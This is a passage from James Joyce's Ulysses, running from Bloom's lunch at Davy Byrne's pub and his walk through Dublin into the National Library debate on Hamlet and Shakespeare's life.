his pocket to +scratch his groin. Who is this was telling me? Isn't Blazes Boylan mixed +up in it? + +A warm shock of air heat of mustard hanched on Mr Bloom's heart. +He raised his eyes and met the stare of a bilious clock. Two. Pub clock +five minutes fast. Time going on. Hands moving. Two. Not yet. + +His midriff yearned then upward, sank within him, yearned more longly, +longingly. + +Wine. + +He smellsipped the cordial juice and, bidding his throat strongly to +speed it, set his wineglass delicately down. + +--Yes, he said. He's the organiser in point of fact. + +No fear: no brains. + +Nosey Flynn snuffled and scratched. Flea having a good square meal. + +--He had a good slice of luck, Jack Mooney was telling me, over that +boxingmatch Myler Keogh won again that soldier in the Portobello +barracks. By God, he had the little kipper down in the county Carlow he +was telling me ... + +Hope that dewdrop doesn't come down into his glass. No, snuffled it +up. + +--For near a month, man, before it came off. Sucking duck eggs by God till +further orders. Keep him off the boose, see? O, by God, Blazes is a hairy +chap. + +Davy Byrne came forward from the hindbar in tuckstitched +shirtsleeves, cleaning his lips with two wipes of his napkin. Herring's +blush. Whose smile upon each feature plays with such and such replete. +Too much fat on the parsnips. + +--And here's himself and pepper on him, Nosey Flynn said. Can you give +us a good one for the Gold cup? + +--I'm off that, Mr Flynn, Davy Byrne answered. I never put anything on a +horse. + +--You're right there, Nosey Flynn said. + +Mr Bloom ate his strips of sandwich, fresh clean bread, with relish of +disgust pungent mustard, the feety savour of green cheese. Sips of his +wine soothed his palate. Not logwood that. Tastes fuller this weather with +the chill off. + +Nice quiet bar. Nice piece of wood in that counter. Nicely planed. +Like the way it curves there. + +--I wouldn't do anything at all in that line, Davy Byrne said. It ruined +many a man, the same horses. + +Vintners' sweepstake. Licensed for the sale of beer, wine and spirits +for consumption on the premises. Heads I win tails you lose. + +--True for you, Nosey Flynn said. Unless you're in the know. There's no +straight sport going now. Lenehan gets some good ones. He's giving +Sceptre today. Zinfandel's the favourite, lord Howard de Walden's, won at +Epsom. Morny Cannon is riding him. I could have got seven to one against +Saint Amant a fortnight before. + +--That so? Davy Byrne said ... + +He went towards the window and, taking up the pettycash book, scanned +its pages. + +--I could, faith, Nosey Flynn said, snuffling. That was a rare bit of +horseflesh. Saint Frusquin was her sire. She won in a thunderstorm, +Rothschild's filly, with wadding in her ears. Blue jacket and yellow cap. +Bad luck to big Ben Dollard and his John O'Gaunt. He put me off it. Ay. + +He drank resignedly from his tumbler, running his fingers down the flutes. + +--Ay, he said, sighing. + +Mr Bloom, champing, standing, looked upon his sigh. Nosey +numbskull. Will I tell him that horse Lenehan? He knows already. Better +let him forget. Go and lose more. Fool and his money. Dewdrop coming down +again. Cold nose he'd have kissing a woman. Still they might like. Prickly +beards they like. Dogs' cold noses. Old Mrs Riordan with the rumbling +stomach's Skye terrier in the City Arms hotel. Molly fondling him in her +lap. O, the big doggybowwowsywowsy! + +Wine soaked and softened rolled pith of bread mustard a moment +mawkish cheese. Nice wine it is. Taste it better because I'm not thirsty. +Bath of course does that. Just a bite or two. Then about six o'clock I can. +Six. Six. Time will be gone then. She ... + +Mild fire of wine kindled his veins. I wanted that badly. Felt so off +colour. His eyes unhungrily saw shelves of tins: sardines, gaudy +lobsters' claws. All the odd things people pick up for food. Out of +shells, periwinkles with a pin, off trees, snails out of the ground the +French eat, out of the sea with bait on a hook. Silly fish learn nothing +in a thousand years. If you didn't know risky putting anything into your +mouth. Poisonous berries. Johnny Magories. Roundness you think good. +Gaudy colour warns you off. One fellow told another and so on. Try it on +the dog first. Led on by the smell or the look. Tempting fruit. Ice +cones. Cream. Instinct. Orangegroves for instance. Need artificial +irrigation. Bleibtreustrasse. Yes but what about oysters. Unsightly like +a clot of phlegm. Filthy shells. Devil to open them too. Who found them +out? Garbage, sewage they feed on. Fizz and Red bank oysters. Effect on +the sexual. Aphrodis. He was in the Red Bank this morning. Was he oysters +old fish at table perhaps he young flesh in bed no June has no ar no +oysters. But there are people like things high. Tainted game. Jugged +hare. First catch your hare. Chinese eating eggs fifty years old, blue +and green again. Dinner of thirty courses. Each dish harmless might mix +inside. Idea for a poison mystery. That archduke Leopold was it no yes or +was it Otto one of those Habsburgs? Or who was it used to eat the scruff +off his own head? Cheapest lunch in town. Of course aristocrats, then the +others copy to be in the fashion. Milly too rock oil and flour. Raw +pastry I like myself. Half the catch of oysters they throw back in the +sea to keep up the price. Cheap no-one would buy. Caviare. Do the grand. +Hock in green glasses. Swell blowout. Lady this. Powdered bosom pearls. +The ELITE. CREME DE LA CREME. They want special dishes to pretend +they're. Hermit with a platter of pulse keep down the stings of the +flesh. Know me come eat with me. Royal sturgeon high sheriff, Coffey, the +butcher, right to venisons of the forest from his ex. Send him back the +half of a cow. Spread I saw down in the Master of the Rolls' kitchen +area. Whitehatted CHEF like a rabbi. Combustible duck. Curly cabbage A LA +DUCHESSE DE PARME. Just as well to write it on the bill of fare so you +can know what you've eaten. Too many drugs spoil the broth. I know it +myself. Dosing it with Edwards' desiccated soup. Geese stuffed silly for +them. Lobsters boiled alive. Do ptake some ptarmigan. Wouldn't mind being +a waiter in a swell hotel. Tips, evening dress, halfnaked ladies. May I +tempt you to a little more filleted lemon sole, miss Dubedat? Yes, do +bedad. And she did bedad. Huguenot name I expect that. A miss Dubedat +lived in Killiney, I remember. DU, DE LA French. Still it's the same fish +perhaps old Micky Hanlon of Moore street ripped the guts out of making +money hand over fist finger in fishes' gills can't write his name on a +cheque think he was painting the landscape with his mouth twisted. +Moooikill A Aitcha Ha ignorant as a kish of brogues, worth fifty thousand +pounds. + +Stuck on the pane two flies buzzed, stuck. + +Glowing wine on his palate lingered swallowed. Crushing in the winepress +grapes of Burgundy. Sun's heat it is. Seems to a secret touch telling me +memory. Touched his sense moistened remembered. Hidden under wild ferns +on Howth below us bay sleeping: sky. No sound. The sky. The bay purple by +the Lion's head. Green by Drumleck. Yellowgreen towards Sutton. Fields of +undersea, the lines faint brown in grass, buried cities. Pillowed on my +coat she had her hair, earwigs in the heather scrub my hand under her +nape, you'll toss me all. O wonder! Coolsoft with ointments her hand +touched me, caressed: her eyes upon me did not turn away. Ravished over +her I lay, full lips full open, kissed her mouth. Yum. Softly she gave me +in my mouth the seedcake warm and chewed. Mawkish pulp her mouth had +mumbled sweetsour of her spittle. Joy: I ate it: joy. Young life, her +lips that gave me pouting. Soft warm sticky gumjelly lips. Flowers her +eyes were, take me, willing eyes. Pebbles fell. She lay still. A goat. +No-one. High on Ben Howth rhododendrons a nannygoat walking surefooted, +dropping currants. Screened under ferns she laughed warmfolded. Wildly I +lay on her, kissed her: eyes, her lips, her stretched neck beating, +woman's breasts full in her blouse of nun's veiling, fat nipples upright. +Hot I tongued her. She kissed me. I was kissed. All yielding she tossed +my hair. Kissed, she kissed me. + +Me. And me now. + +Stuck, the flies buzzed. + +His downcast eyes followed the silent veining of the oaken slab. Beauty: +it curves: curves are beauty. Shapely goddesses, Venus, Juno: curves the +world admires. Can see them library museum standing in the round hall, +naked goddesses. Aids to digestion. They don't care what man looks. All +to see. Never speaking. I mean to say to fellows like Flynn. Suppose she +did Pygmalion and Galatea what would she say first? Mortal! Put you in +your proper place. Quaffing nectar at mess with gods golden dishes, all +ambrosial. Not like a tanner lunch we have, boiled mutton, carrots and +turnips, bottle of Allsop. Nectar imagine it drinking electricity: gods' +food. Lovely forms of women sculped Junonian. Immortal lovely. And we +stuffing food in one hole and out behind: food, chyle, blood, dung, +earth, food: have to feed it like stoking an engine. They have no. Never +looked. I'll look today. Keeper won't see. Bend down let something drop +see if she. + +Dribbling a quiet message from his bladder came to go to do not to do +there to do. A man and ready he drained his glass to the lees and walked, +to men too they gave themselves, manly conscious, lay with men lovers, a +youth enjoyed her, to the yard. + +When the sound of his boots had ceased Davy Byrne said from his book: + +--What is this he is? Isn't he in the insurance line? + +--He's out of that long ago, Nosey Flynn said. He does canvassing for the +FREEMAN. + +--I know him well to see, Davy Byrne said. Is he in trouble? + +--Trouble? Nosey Flynn said. Not that I heard of. Why? + +--I noticed he was in mourning. + +--Was he? Nosey Flynn said. So he was, faith. I asked him how was all at +home. You're right, by God. So he was. + +--I never broach the subject, Davy Byrne said humanely, if I see a +gentleman is in trouble that way. It only brings it up fresh in their +minds. + +--It's not the wife anyhow, Nosey Flynn said. I met him the day before +yesterday and he coming out of that Irish farm dairy John Wyse Nolan's +wife has in Henry street with a jar of cream in his hand taking it home +to his better half. She's well nourished, I tell you. Plovers on toast. + +--And is he doing for the FREEMAN? Davy Byrne said. + +Nosey Flynn pursed his lips. + +---He doesn't buy cream on the ads he picks up. You can make bacon of +that. + +--How so? Davy Byrne asked, coming from his book. + +Nosey Flynn made swift passes in the air with juggling fingers. He +winked. + +--He's in the craft, he said. + +---Do you tell me so? Davy Byrne said. + +--Very much so, Nosey Flynn said. Ancient free and accepted order. He's +an excellent brother. Light, life and love, by God. They give him a leg +up. I was told that by a--well, I won't say who. + +--Is that a fact? + +--O, it's a fine order, Nosey Flynn said. They stick to you when you're +down. I know a fellow was trying to get into it. But they're as close as +damn it. By God they did right to keep the women out of it. + +Davy Byrne smiledyawnednodded all in one: + +--Iiiiiichaaaaaaach! + +--There was one woman, Nosey Flynn said, hid herself in a clock to find +out what they do be doing. But be damned but they smelt her out and swore +her in on the spot a master mason. That was one of the saint Legers of +Doneraile. + +Davy Byrne, sated after his yawn, said with tearwashed eyes: + +--And is that a fact? Decent quiet man he is. I often saw him in here and +I never once saw him--you know, over the line. + +--God Almighty couldn't make him drunk, Nosey Flynn said firmly. Slips +off when the fun gets too hot. Didn't you see him look at his watch? Ah, +you weren't there. If you ask him to have a drink first thing he does he +outs with the watch to see what he ought to imbibe. Declare to God he +does. + +--There are some like that, Davy Byrne said. He's a safe man, I'd say. + +--He's not too bad, Nosey Flynn said, snuffling it up. He's been known to +put his hand down too to help a fellow. Give the devil his due. O, Bloom +has his good points. But there's one thing he'll never do. + +His hand scrawled a dry pen signature beside his grog. + +--I know, Davy Byrne said. + +--Nothing in black and white, Nosey Flynn said. + +Paddy Leonard and Bantam Lyons came in. Tom Rochford followed frowning, a +plaining hand on his claret waistcoat. + +--Day, Mr Byrne. + +--Day, gentlemen. + +They paused at the counter. + +--Who's standing? Paddy Leonard asked. + +--I'm sitting anyhow, Nosey Flynn answered. + +--Well, what'll it be? Paddy Leonard asked. + +--I'll take a stone ginger, Bantam Lyons said. + +--How much? Paddy Leonard cried. Since when, for God' sake? What's yours, +Tom? + +--How is the main drainage? Nosey Flynn asked, sipping. + +For answer Tom Rochford pressed his hand to his breastbone and hiccupped. + +--Would I trouble you for a glass of fresh water, Mr Byrne? he said. + +--Certainly, sir. + +Paddy Leonard eyed his alemates. + +--Lord love a duck, he said. Look at what I'm standing drinks to! Cold +water and gingerpop! Two fellows that would suck whisky off a sore leg. +He has some bloody horse up his sleeve for the Gold cup. A dead snip. + +--Zinfandel is it? Nosey Flynn asked. + +Tom Rochford spilt powder from a twisted paper into the water set before +him. + +--That cursed dyspepsia, he said before drinking. + +--Breadsoda is very good, Davy Byrne said. + +Tom Rochford nodded and drank. + +--Is it Zinfandel? + +--Say nothing! Bantam Lyons winked. I'm going to plunge five bob on my +own. + +--Tell us if you're worth your salt and be damned to you, Paddy Leonard +said. Who gave it to you? + +Mr Bloom on his way out raised three fingers in greeting. + +--So long! Nosey Flynn said. + +The others turned. + +--That's the man now that gave it to me, Bantam Lyons whispered. + +--Prrwht! Paddy Leonard said with scorn. Mr Byrne, sir, we'll take two of +your small Jamesons after that and a ... + +--Stone ginger, Davy Byrne added civilly. + +--Ay, Paddy Leonard said. A suckingbottle for the baby. + +Mr Bloom walked towards Dawson street, his tongue brushing his teeth +smooth. Something green it would have to be: spinach, say. Then with +those Rontgen rays searchlight you could. + +At Duke lane a ravenous terrier choked up a sick knuckly cud on the +cobblestones and lapped it with new zest. Surfeit. Returned with thanks +having fully digested the contents. First sweet then savoury. Mr Bloom +coasted warily. Ruminants. His second course. Their upper jaw they move. +Wonder if Tom Rochford will do anything with that invention of his? +Wasting time explaining it to Flynn's mouth. Lean people long mouths. +Ought to be a hall or a place where inventors could go in and invent +free. Course then you'd have all the cranks pestering. + +He hummed, prolonging in solemn echo the closes of the bars: + + + DON GIOVANNI, A CENAR TECO + M'INVITASTI. + + +Feel better. Burgundy. Good pick me up. Who distilled first? Some chap in +the blues. Dutch courage. That KILKENNY PEOPLE in the national library +now I must. + +Bare clean closestools waiting in the window of William Miller, plumber, +turned back his thoughts. They could: and watch it all the way down, +swallow a pin sometimes come out of the ribs years after, tour round the +body changing biliary duct spleen squirting liver gastric juice coils of +intestines like pipes. But the poor buffer would have to stand all the +time with his insides entrails on show. Science. + +--A CENAR TECO. + +What does that TECO mean? Tonight perhaps. + + + DON GIOVANNI, THOU HAST ME INVITED + TO COME TO SUPPER TONIGHT, + THE RUM THE RUMDUM. + + +Doesn't go properly. + +Keyes: two months if I get Nannetti to. That'll be two pounds ten about +two pounds eight. Three Hynes owes me. Two eleven. Prescott's dyeworks +van over there. If I get Billy Prescott's ad: two fifteen. Five guineas +about. On the pig's back. + +Could buy one of those silk petticoats for Molly, colour of her new +garters. + +Today. Today. Not think. + +Tour the south then. What about English wateringplaces? Brighton, +Margate. Piers by moonlight. Her voice floating out. Those lovely seaside +girls. Against John Long's a drowsing loafer lounged in heavy thought, +gnawing a crusted knuckle. Handy man wants job. Small wages. Will eat +anything. + +Mr Bloom turned at Gray's confectioner's window of unbought tarts and +passed the reverend Thomas Connellan's bookstore. WHY I LEFT THE CHURCH +OF ROME? BIRDS' NEST. Women run him. They say they used to give pauper +children soup to change to protestants in the time of the potato blight. +Society over the way papa went to for the conversion of poor jews. Same +bait. Why we left the church of Rome. + +A blind stripling stood tapping the curbstone with his slender cane. No +tram in sight. Wants to cross. + +--Do you want to cross? Mr Bloom asked. + +The blind stripling did not answer. His wallface frowned weakly. He moved +his head uncertainly. + +--You're in Dawson street, Mr Bloom said. Molesworth street is opposite. +Do you want to cross? There's nothing in the way. + +The cane moved out trembling to the left. Mr Bloom's eye followed its +line and saw again the dyeworks' van drawn up before Drago's. Where I saw +his brillantined hair just when I was. Horse drooping. Driver in John +Long's. Slaking his drouth. + +--There's a van there, Mr Bloom said, but it's not moving. I'll see you +across. Do you want to go to Molesworth street? + +--Yes, the stripling answered. South Frederick street. + +--Come, Mr Bloom said. + +He touched the thin elbow gently: then took the limp seeing hand to guide +it forward. + +Say something to him. Better not do the condescending. They mistrust what +you tell them. Pass a common remark. + +--The rain kept off. + +No answer. + +Stains on his coat. Slobbers his food, I suppose. Tastes all different +for him. Have to be spoonfed first. Like a child's hand, his hand. Like +Milly's was. Sensitive. Sizing me up I daresay from my hand. Wonder if he +has a name. Van. Keep his cane clear of the horse's legs: tired drudge +get his doze. That's right. Clear. Behind a bull: in front of a horse. + +--Thanks, sir. + +Knows I'm a man. Voice. + +--Right now? First turn to the left. + +The blind stripling tapped the curbstone and went on his way, drawing his +cane back, feeling again. + +Mr Bloom walked behind the eyeless feet, a flatcut suit of herringbone +tweed. Poor young fellow! How on earth did he know that van was there? +Must have felt it. See things in their forehead perhaps: kind of sense of +volume. Weight or size of it, something blacker than the dark. Wonder +would he feel it if something was removed. Feel a gap. Queer idea of +Dublin he must have, tapping his way round by the stones. Could he walk +in a beeline if he hadn't that cane? Bloodless pious face like a fellow +going in to be a priest. + +Penrose! That was that chap's name. + +Look at all the things they can learn to do. Read with their fingers. +Tune pianos. Or we are surprised they have any brains. Why we think a +deformed person or a hunchback clever if he says something we might say. +Of course the other senses are more. Embroider. Plait baskets. People +ought to help. Workbasket I could buy for Molly's birthday. Hates sewing. +Might take an objection. Dark men they call them. + +Sense of smell must be stronger too. Smells on all sides, bunched +together. Each street different smell. Each person too. Then the spring, +the summer: smells. Tastes? They say you can't taste wines with your eyes +shut or a cold in the head. Also smoke in the dark they say get no +pleasure. + +And with a woman, for instance. More shameless not seeing. That girl +passing the Stewart institution, head in the air. Look at me. I have them +all on. Must be strange not to see her. Kind of a form in his mind's eye. +The voice, temperatures: when he touches her with his fingers must almost +see the lines, the curves. His hands on her hair, for instance. Say it +was black, for instance. Good. We call it black. Then passing over her +white skin. Different feel perhaps. Feeling of white. + +Postoffice. Must answer. Fag today. Send her a postal order two +shillings, half a crown. Accept my little present. Stationer's just here +too. Wait. Think over it. + +With a gentle finger he felt ever so slowly the hair combed back above +his ears. Again. Fibres of fine fine straw. Then gently his finger felt +the skin of his right cheek. Downy hair there too. Not smooth enough. The +belly is the smoothest. No-one about. There he goes into Frederick +street. Perhaps to Levenston's dancing academy piano. Might be settling +my braces. + +Walking by Doran's publichouse he slid his hand between his waistcoat and +trousers and, pulling aside his shirt gently, felt a slack fold of his +belly. But I know it's whitey yellow. Want to try in the dark to see. + +He withdrew his hand and pulled his dress to. + +Poor fellow! Quite a boy. Terrible. Really terrible. What dreams would he +have, not seeing? Life a dream for him. Where is the justice being born +that way? All those women and children excursion beanfeast burned and +drowned in New York. Holocaust. Karma they call that transmigration for +sins you did in a past life the reincarnation met him pike hoses. Dear, +dear, dear. Pity, of course: but somehow you can't cotton on to them +someway. + +Sir Frederick Falkiner going into the freemasons' hall. Solemn as Troy. +After his good lunch in Earlsfort terrace. Old legal cronies cracking a +magnum. Tales of the bench and assizes and annals of the bluecoat school. +I sentenced him to ten years. I suppose he'd turn up his nose at that +stuff I drank. Vintage wine for them, the year marked on a dusty bottle. +Has his own ideas of justice in the recorder's court. Wellmeaning old +man. Police chargesheets crammed with cases get their percentage +manufacturing crime. Sends them to the rightabout. The devil on +moneylenders. Gave Reuben J. a great strawcalling. Now he's really what +they call a dirty jew. Power those judges have. Crusty old topers in +wigs. Bear with a sore paw. And may the Lord have mercy on your soul. + +Hello, placard. Mirus bazaar. His Excellency the lord lieutenant. +Sixteenth. Today it is. In aid of funds for Mercer's hospital. THE +MESSIAH was first given for that. Yes. Handel. What about going out +there: Ballsbridge. Drop in on Keyes. No use sticking to him like a +leech. Wear out my welcome. Sure to know someone on the gate. + +Mr Bloom came to Kildare street. First I must. Library. + +Straw hat in sunlight. Tan shoes. Turnedup trousers. It is. It is. + +His heart quopped softly. To the right. Museum. Goddesses. He swerved to +the right. + +Is it? Almost certain. Won't look. Wine in my face. Why did I? Too heady. +Yes, it is. The walk. Not see. Get on. + +Making for the museum gate with long windy steps he lifted his eyes. +Handsome building. Sir Thomas Deane designed. Not following me? + +Didn't see me perhaps. Light in his eyes. + +The flutter of his breath came forth in short sighs. Quick. Cold statues: +quiet there. Safe in a minute. + +No. Didn't see me. After two. Just at the gate. + +My heart! + +His eyes beating looked steadfastly at cream curves of stone. Sir Thomas +Deane was the Greek architecture. + +Look for something I. + +His hasty hand went quick into a pocket, took out, read unfolded Agendath +Netaim. Where did I? + +Busy looking. + +He thrust back quick Agendath. + +Afternoon she said. + +I am looking for that. Yes, that. Try all pockets. Handker. FREEMAN. +Where did I? Ah, yes. Trousers. Potato. Purse. Where? + +Hurry. Walk quietly. Moment more. My heart. + +His hand looking for the where did I put found in his hip pocket soap +lotion have to call tepid paper stuck. Ah soap there I yes. Gate. + +Safe! + + + * * * * * * * + + +Urbane, to comfort them, the quaker librarian purred: + +--And we have, have we not, those priceless pages of WILHELM MEISTER. A +great poet on a great brother poet. A hesitating soul taking arms against +a sea of troubles, torn by conflicting doubts, as one sees in real life. + +He came a step a sinkapace forward on neatsleather creaking and a step +backward a sinkapace on the solemn floor. + +A noiseless attendant setting open the door but slightly made him a +noiseless beck. + +--Directly, said he, creaking to go, albeit lingering. The beautiful +ineffectual dreamer who comes to grief against hard facts. One always +feels that Goethe's judgments are so true. True in the larger analysis. + +Twicreakingly analysis he corantoed off. Bald, most zealous by the door +he gave his large ear all to the attendant's words: heard them: and was +gone. + +Two left. + +--Monsieur de la Palice, Stephen sneered, was alive fifteen minutes +before his death. + +--Have you found those six brave medicals, John Eglinton asked with +elder's gall, to write PARADISE LOST at your dictation? THE SORROWS OF +SATAN he calls it. + +Smile. Smile Cranly's smile. + + + FIRST HE TICKLED HER + THEN HE PATTED HER + THEN HE PASSED THE FEMALE CATHETER. + FOR HE WAS A MEDICAL + JOLLY OLD MEDI ... + + +--I feel you would need one more for HAMLET. Seven is dear to the mystic +mind. The shining seven W.B. calls them. + +Glittereyed his rufous skull close to his greencapped desklamp sought the +face bearded amid darkgreener shadow, an ollav, holyeyed. He laughed low: +a sizar's laugh of Trinity: unanswered. + + + ORCHESTRAL SATAN, WEEPING MANY A ROOD + TEARS SUCH AS ANGELS WEEP. + ED EGLI AVEA DEL CUL FATTO TROMBETTA. + + +He holds my follies hostage. + +Cranly's eleven true Wicklowmen to free their sireland. Gaptoothed +Kathleen, her four beautiful green fields, the stranger in her house. And +one more to hail him: AVE, RABBI: the Tinahely twelve. In the shadow of +the glen he cooees for them. My soul's youth I gave him, night by night. +God speed. Good hunting. + +Mulligan has my telegram. + +Folly. Persist. + +--Our young Irish bards, John Eglinton censured, have yet to create a +figure which the world will set beside Saxon Shakespeare's Hamlet though +I admire him, as old Ben did, on this side idolatry. + +--All these questions are purely academic, Russell oracled out of his +shadow. I mean, whether Hamlet is Shakespeare or James I or Essex. +Clergymen's discussions of the historicity of Jesus. Art has to reveal to +us ideas, formless spiritual essences. The supreme question about a work +of art is out of how deep a life does it spring. The painting of Gustave +Moreau is the painting of ideas. The deepest poetry of Shelley, the words +of Hamlet bring our minds into contact with the eternal wisdom, Plato's +world of ideas. All the rest is the speculation of schoolboys for +schoolboys. + +A. E. has been telling some yankee interviewer. Wall, tarnation strike +me! + +--The schoolmen were schoolboys first, Stephen said superpolitely. +Aristotle was once Plato's schoolboy. + +--And has remained so, one should hope, John Eglinton sedately said. One +can see him, a model schoolboy with his diploma under his arm. + +He laughed again at the now smiling bearded face. + +Formless spiritual. Father, Word and Holy Breath. Allfather, the heavenly +man. Hiesos Kristos, magician of the beautiful, the Logos who suffers in +us at every moment. This verily is that. I am the fire upon the altar. I +am the sacrificial butter. + +Dunlop, Judge, the noblest Roman of them all, A.E., Arval, the Name +Ineffable, in heaven hight: K.H., their master, whose identity is no +secret to adepts. Brothers of the great white lodge always watching to +see if they can help. The Christ with the bridesister, moisture of light, +born of an ensouled virgin, repentant sophia, departed to the plane of +buddhi. The life esoteric is not for ordinary person. O.P. must work off +bad karma first. Mrs Cooper Oakley once glimpsed our very illustrious +sister H.P.B.'s elemental. + +O, fie! Out on't! PFUITEUFEL! You naughtn't to look, missus, so you +naughtn't when a lady's ashowing of her elemental. + +Mr Best entered, tall, young, mild, light. He bore in his hand with grace +a notebook, new, large, clean, bright. + +--That model schoolboy, Stephen said, would find Hamlet's musings about +the afterlife of his princely soul, the improbable, insignificant and +undramatic monologue, as shallow as Plato's. + +John Eglinton, frowning, said, waxing wroth: + +--Upon my word it makes my blood boil to hear anyone compare Aristotle +with Plato. + +--Which of the two, Stephen asked, would have banished me from his +commonwealth? + +Unsheathe your dagger definitions. Horseness is the whatness of allhorse. +Streams of tendency and eons they worship. God: noise in the street: very +peripatetic. Space: what you damn well have to see. Through spaces +smaller than red globules of man's blood they creepycrawl after Blake's +buttocks into eternity of which this vegetable world is but a shadow. +Hold to the now, the here, through which all future plunges to the past. + +Mr Best came forward, amiable, towards his colleague. + +--Haines is gone, he said. + +--Is he? + +--I was showing him Jubainville's book. He's quite enthusiastic, don't +you know, about Hyde's LOVESONGS OF CONNACHT. I couldn't bring him in to +hear the discussion. He's gone to Gill's to buy it. + + + BOUND THEE FORTH, MY BOOKLET, QUICK + TO GREET THE CALLOUS PUBLIC. + WRIT, I WEEN, 'TWAS NOT MY WISH + IN LEAN UNLOVELY ENGLISH. + + +--The peatsmoke is going to his head, John Eglinton opined. + +We feel in England. Penitent thief. Gone. I smoked his baccy. Green +twinkling stone. An emerald set in the ring of the sea. + +--People do not know how dangerous lovesongs can be, the auric egg of +Russell warned occultly. The movements which work revolutions in the +world are born out of the dreams and visions in a peasant's heart on the +hillside. For them the earth is not an exploitable ground but the living +mother. The rarefied air of the academy and the arena produce the +sixshilling novel, the musichall song. France produces the finest flower +of corruption in Mallarme but the desirable life is revealed only to the +poor of heart, the life of Homer's Phaeacians. + +From these words Mr Best turned an unoffending face to Stephen. + +--Mallarme, don't you know, he said, has written those wonderful prose +poems Stephen MacKenna used to read to me in Paris. The one about HAMLET. +He says: IL SE PROMENE, LISANT AU LIVRE DE LUI-MEME, don't you know, +READING THE BOOK OF HIMSELF. He describes HAMLET given in a French town, +don't you know, a provincial town. They advertised it. + +His free hand graciously wrote tiny signs in air. + + + HAMLET + OU + LE DISTRAIT + PIECE DE SHAKESPEARE + + + He repeated to John Eglinton's newgathered frown: + +--PIECE DE SHAKESPEARE, don't you know. It's so French. The French point +of view. HAMLET OU ... + +--The absentminded beggar, Stephen ended. + + John Eglinton laughed. + +--Yes, I suppose it would be, he said. Excellent people, no doubt, but +distressingly shortsighted in some matters. + + Sumptuous and stagnant exaggeration of murder. + +--A deathsman of the soul Robert Greene called him, Stephen said. Not for +nothing was he a butcher's son, wielding the sledded poleaxe and spitting +in his palms. Nine lives are taken off for his father's one. Our Father +who art in purgatory. Khaki Hamlets don't hesitate to shoot. The +bloodboltered shambles in act five is a forecast of the concentration +camp sung by Mr Swinburne. + +Cranly, I his mute orderly, following battles from afar. + + WHELPS AND DAMS OF MURDEROUS FOES WHOM NONE + BUT WE HAD SPARED ... + + +Between the Saxon smile and yankee yawp. The devil and the deep sea. + +--He will have it that HAMLET is a ghoststory, John Eglinton said for Mr +Best's behoof. Like the fat boy in Pickwick he wants to make our flesh +creep. + + + LIST! LIST! O LIST! + + +My flesh hears him: creeping, hears. + + + IF THOU DIDST EVER ... + + +--What is a ghost? Stephen said with tingling energy. One who has faded +into impalpability through death, through absence, through change of +manners. Elizabethan London lay as far from Stratford as corrupt Paris +lies from virgin Dublin. Who is the ghost from LIMBO PATRUM, returning to +the world that has forgotten him? Who is King Hamlet? + +John Eglinton shifted his spare body, leaning back to judge. + +Lifted. + +--It is this hour of a day in mid June, Stephen said, begging with a +swift glance their hearing. The flag is up on the playhouse by the +bankside. The bear Sackerson growls in the pit near it, Paris garden. +Canvasclimbers who sailed with Drake chew their sausages among the +groundlings. + +Local colour. Work in all you know. Make them accomplices. + +--Shakespeare has left the huguenot's house in Silver street and walks by +the swanmews along the riverbank. But he does not stay to feed the pen +chivying her game of cygnets towards the rushes. The swan of Avon has +other thoughts. + +Composition of place. Ignatius Loyola, make haste to help me! + +--The play begins. A player comes on under the shadow, made up in the +castoff mail of a court buck, a wellset man with a bass voice. It is the +ghost, the king, a king and no king, and the player is Shakespeare who +has studied HAMLET all the years of his life which were not vanity in +order to play the part of the spectre. He speaks the words to Burbage, +the young player who stands before him beyond the rack of cerecloth, +calling him by a name: + + HAMLET, I AM THY FATHER'S SPIRIT, + +bidding him list. To a son he speaks, the son of his soul, the prince, +young Hamlet and to the son of his body, Hamnet Shakespeare, who has died +in Stratford that his namesake may live for ever. + +Is it possible that that player Shakespeare, a ghost by absence, and in +the vesture of buried Denmark, a ghost by death, speaking his own words +to his own son's name (had Hamnet Shakespeare lived he would have been +prince Hamlet's twin), is it possible, I want to know, or probable that +he did not draw or foresee the logical conclusion of those premises: you +are the dispossessed son: I am the murdered father: your mother is the +guilty queen, Ann Shakespeare, born Hathaway? + +--But this prying into the family life of a great man, Russell began +impatiently. + +Art thou there, truepenny? + +--Interesting only to the parish clerk. I mean, we have the plays. I mean +when we read the poetry of KING LEAR what is it to us how the poet lived? +As for living our servants can do that for us, Villiers de l'Isle has +said. Peeping and prying into greenroom gossip of the day, the poet's +drinking, the poet's debts. We have KING LEAR: and it is immortal. + +Mr Best's face, appealed to, agreed. + + + FLOW OVER THEM WITH YOUR WAVES AND WITH YOUR WATERS, MANANAAN, + MANANAAN MACLIR ... + + +How now, sirrah, that pound he lent you when you were hungry? + +Marry, I wanted it. + +Take thou this noble. + +Go to! You spent most of it in Georgina Johnson's bed, clergyman's +daughter. Agenbite of inwit. + +Do you intend to pay it back? + +O, yes. + +When? Now? + +Well ... No. + +When, then? + +I paid my way. I paid my way. + +Steady on. He's from beyant Boyne water. The northeast corner. You owe +it. + +Wait. Five months. Molecules all change. I am other I now. Other I got +pound. + +Buzz. Buzz. + +But I, entelechy, form of forms, am I by memory because under +everchanging forms. + +I that sinned and prayed and fasted. + +A child Conmee saved from pandies. + +I, I and I. I. + +A.E.I.O.U. + +--Do you mean to fly in the face of the tradition of three centuries? +John Eglinton's carping voice asked. Her ghost at least has been laid for +ever. She died, for literature at least, before she was born. + +--She died, Stephen retorted, sixtyseven years after she was born. She +saw him into and out of the world. She took his first embraces. She bore +his children and she laid pennies on his eyes to keep his eyelids closed +when he lay on his deathbed. + +Mother's deathbed. Candle. The sheeted mirror. Who brought me into this +world lies there, bronzelidded, under few cheap flowers. LILIATA +RUTILANTIUM. + +I wept alone. + +John Eglinton looked in the tangled glowworm of his lamp. + +--The world believes that Shakespeare made a mistake, he said, and got +out of it as quickly and as best he could. + +--Bosh! Stephen said rudely. A man of genius makes no mistakes. His +errors are volitional and are the portals of discovery. + +Portals of discovery opened to let in the quaker librarian, +softcreakfooted, bald, eared and assiduous. + +--A shrew, John Eglinton said shrewdly, is not a useful portal of +discovery, one should imagine. What useful discovery did Socrates learn +from Xanthippe? + +--Dialectic, Stephen answered: and from his mother how to bring thoughts +into the world. What he learnt from his other wife Myrto (ABSIT NOMEN!), +Socratididion's Epipsychidion, no man, not a woman, will ever know. But +neither the midwife's lore nor the caudlelectures saved him from the +archons of Sinn Fein and their naggin of hemlock. + +--But Ann Hathaway? Mr Best's quiet voice said forgetfully. Yes, we seem +to be forgetting her as Shakespeare himself forgot her. + +His look went from brooder's beard to carper's skull, to remind, to chide +them not unkindly, then to the baldpink lollard costard, guiltless though +maligned. + +--He had a good groatsworth of wit, Stephen said, and no truant memory. +He carried a memory in his wallet as 